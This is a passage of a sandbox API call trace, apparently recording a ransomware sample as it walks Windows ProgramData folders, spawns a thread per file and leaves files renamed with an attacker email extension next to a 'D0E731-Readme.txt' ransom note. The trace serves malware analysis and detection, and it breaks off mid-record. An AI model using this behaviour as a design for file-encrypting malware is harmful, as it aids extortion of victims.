CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Storage Health\\StorageHealthModel.dat" (normalized: "c:\\users\\all users\\microsoft\\storage health\\storagehealthmodel.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.573] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Storage Health\\StorageHealthModel.dat", dwFileAttributes=0x20) returned 0 [0173.573] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f831f8) returned 1 [0173.573] RtlExitUserThread (Status=0x0) Thread: id = 2148 os_tid = 0x1278 [0173.574] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x62) returned 0x2f62dd0 [0173.574] wcscpy (in: _Dest=0x2f62dd0, _Source="C:\\Users\\All Users\\Microsoft\\Settings\\Accounts" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Settings\\Accounts") returned="C:\\Users\\All Users\\Microsoft\\Settings\\Accounts" [0173.574] wcscat (in: _Dest=0x2f62dd0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Settings\\Accounts\\") returned="C:\\Users\\All Users\\Microsoft\\Settings\\Accounts\\" [0173.574] wcscat (in: _Dest=0x2f62dd0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Settings\\Accounts\\*") returned="C:\\Users\\All Users\\Microsoft\\Settings\\Accounts\\*" [0173.574] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3021178 [0173.574] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Settings\\Accounts\\*", lpFindFileData=0x3021178 | out: lpFindFileData=0x3021178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe30ecb9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80360 [0173.574] wcscmp (_String1=".", _String2=".") returned 0 [0173.574] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3021178 | out: lpFindFileData=0x3021178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe30ecb9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.574] wcscmp (_String1="..", _String2=".") returned 1 [0173.574] wcscmp (_String1="..", _String2="..") returned 0 [0173.574] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3021178 | out: lpFindFileData=0x3021178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe30ecb9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0173.575] FindClose (in: hFindFile=0x2f80360 | out: hFindFile=0x2f80360) returned 1 [0173.575] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3021178) returned 1 [0173.575] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f62dd0) returned 1 [0173.575] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87888) returned 1 [0173.575] RtlExitUserThread (Status=0x0) Thread: id = 2149 os_tid = 0x127c [0173.576] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x56) returned 0x2fa42a0 [0173.576] wcscpy (in: _Dest=0x2fa42a0, _Source="C:\\Users\\All Users\\Microsoft\\Search\\Data" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data" [0173.576] wcscat (in: _Dest=0x2fa42a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\" [0173.576] wcscat (in: _Dest=0x2fa42a0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\*") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\*" [0173.576] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3022bf0 [0173.576] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\*", lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f068b0c, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x768c9439, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x768c9439, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80820 [0173.577] wcscmp (_String1=".", _String2=".") returned 0 [0173.577] FindNextFileW (in: hFindFile=0x2f80820, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f068b0c, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x768c9439, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x768c9439, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.577] wcscmp (_String1="..", _String2=".") returned 1 [0173.577] wcscmp (_String1="..", _String2="..") returned 0 [0173.577] FindNextFileW (in: hFindFile=0x2f80820, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x768c9439, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x769ae22f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x769ae22f, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Applications", cAlternateFileName="APPLIC~1")) returned 1 [0173.577] wcscmp (_String1="Applications", _String2=".") returned 1 [0173.577] wcscmp (_String1="Applications", _String2="..") returned 1 [0173.577] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x6c) returned 0x30135a8 [0173.577] wcscpy (in: _Dest=0x30135a8, _Source="C:\\Users\\All Users\\Microsoft\\Search\\Data" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data" [0173.577] wcscat (in: _Dest=0x30135a8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\" [0173.577] wcscat (in: _Dest=0x30135a8, _Source="Applications" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications" [0174.078] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x30135a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x640 [0174.079] FindNextFileW (in: hFindFile=0x2f80820, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f173b05, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xb99ea4ee, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb99ea4ee, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0174.079] wcscmp (_String1="Temp", _String2=".") returned 1 [0174.079] wcscmp (_String1="Temp", _String2="..") returned 1 [0174.079] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f87a28 [0174.079] wcscpy (in: _Dest=0x2f87a28, _Source="C:\\Users\\All Users\\Microsoft\\Search\\Data" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data" [0174.079] wcscat (in: _Dest=0x2f87a28, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\" [0174.079] wcscat (in: _Dest=0x2f87a28, _Source="Temp" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp" [0174.079] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f87a28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x74c [0174.080] FindNextFileW (in: hFindFile=0x2f80820, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f173b05, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xb99ea4ee, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb99ea4ee, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 0 [0174.080] FindClose (in: hFindFile=0x2f80820 | out: hFindFile=0x2f80820) returned 1 [0174.080] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3022bf0) returned 1 [0174.080] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa42a0) returned 1 [0174.080] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4360) returned 1 [0174.080] RtlExitUserThread (Status=0x0) Thread: id = 2150 os_tid = 0x1280 [0173.578] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\countrytable.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\countrytable.xml")) returned 0x20 [0173.580] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\countrytable.xml", dwFileAttributes=0x20) returned 0 [0173.581] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\countrytable.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\countrytable.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.583] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\countrytable.xml", dwFileAttributes=0x20) returned 0 [0173.584] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8b290) returned 1 [0173.584] RtlExitUserThread (Status=0x0) Thread: id = 2151 os_tid = 0x1284 [0173.586] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa6) returned 0x2f90f80 [0173.586] wcscpy (in: _Dest=0x2f90f80, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}" [0173.586] wcscat (in: _Dest=0x2f90f80, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\" [0173.586] wcscat (in: _Dest=0x2f90f80, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\*" [0173.586] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3022e58 [0173.586] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\*", lpFindFileData=0x3022e58 | out: lpFindFileData=0x3022e58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8ad69c04, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8ad69c04, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80360 [0173.588] wcscmp (_String1=".", _String2=".") returned 0 [0173.588] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022e58 | out: lpFindFileData=0x3022e58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8ad69c04, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8ad69c04, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.591] wcscmp (_String1="..", _String2=".") returned 1 [0173.591] wcscmp (_String1="..", _String2="..") returned 0 [0173.591] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022e58 | out: lpFindFileData=0x3022e58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ea7c91, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ea7c91, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8ad1d6d7, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xa4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0173.591] wcscmp (_String1="customizations.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.591] wcscmp (_String1="customizations.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.591] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x10a) returned 0x2f96108 [0173.591] wcscpy (in: _Dest=0x2f96108, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}" [0173.591] wcscat (in: _Dest=0x2f96108, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\" [0173.591] wcscat (in: _Dest=0x2f96108, _Source="customizations.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" [0174.074] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f96108, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x574 [0174.075] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022e58 | out: lpFindFileData=0x3022e58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad1d6d7, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8ad1d6d7, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8ad43911, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0174.075] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0174.075] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0174.075] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022e58 | out: lpFindFileData=0x3022e58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e5b7d8, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e5b7d8, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8ad69c04, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0174.075] wcscmp (_String1="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0174.075] wcscmp (_String1="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0174.075] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x10c) returned 0x305ded0 [0174.075] wcscpy (in: _Dest=0x305ded0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}" [0174.075] wcscat (in: _Dest=0x305ded0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\" [0174.075] wcscat (in: _Dest=0x305ded0, _Source="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" [0174.075] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305ded0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x754 [0174.076] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022e58 | out: lpFindFileData=0x3022e58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8bc9cc66, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bc9cc66, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0174.076] wcscmp (_String1="Prov", _String2=".") returned 1 [0174.076] wcscmp (_String1="Prov", _String2="..") returned 1 [0174.076] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x3055c00 [0174.076] wcscpy (in: _Dest=0x3055c00, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}" [0174.076] wcscat (in: _Dest=0x3055c00, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\" [0174.076] wcscat (in: _Dest=0x3055c00, _Source="Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov" [0174.076] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x3055c00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x750 [0174.077] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022e58 | out: lpFindFileData=0x3022e58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8bc9cc66, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bc9cc66, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0174.077] FindClose (in: hFindFile=0x2f80360 | out: hFindFile=0x2f80360) returned 1 [0174.077] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3022e58) returned 1 [0174.078] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f90f80) returned 1 [0174.078] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f91be0) returned 1 [0174.078] RtlExitUserThread (Status=0x0) Thread: id = 2152 os_tid = 0x1288 [0173.592] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa6) returned 0x2f91030 [0173.592] wcscpy (in: _Dest=0x2f91030, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}" [0173.592] wcscat (in: _Dest=0x2f91030, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\" [0173.592] wcscat (in: _Dest=0x2f91030, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\*" [0173.592] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x30230c0 [0173.593] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\*", lpFindFileData=0x30230c0 | out: lpFindFileData=0x30230c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8ace3a03, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8ace3a03, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f803a0 [0173.595] wcscmp (_String1=".", _String2=".") returned 0 [0173.595] FindNextFileW (in: hFindFile=0x2f803a0, lpFindFileData=0x30230c0 | out: lpFindFileData=0x30230c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8ace3a03, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8ace3a03, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.595] wcscmp (_String1="..", _String2=".") returned 1 [0173.595] wcscmp (_String1="..", _String2="..") returned 0 [0173.595] FindNextFileW (in: hFindFile=0x2f803a0, lpFindFileData=0x30230c0 | out: lpFindFileData=0x30230c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ebc18d, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ebc18d, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8ac80436, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x5c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0173.595] wcscmp (_String1="customizations.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.595] wcscmp (_String1="customizations.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.595] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x10a) returned 0x2f96a28 [0173.595] wcscpy (in: _Dest=0x2f96a28, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}" [0173.595] wcscat (in: _Dest=0x2f96a28, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\" [0173.595] wcscat (in: _Dest=0x2f96a28, _Source="customizations.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" [0174.070] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f96a28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x638 [0174.071] FindNextFileW (in: hFindFile=0x2f803a0, lpFindFileData=0x30230c0 | out: lpFindFileData=0x30230c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aca658f, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8aca658f, ftLastAccessTime.dwHighDateTime=0x1d56382, 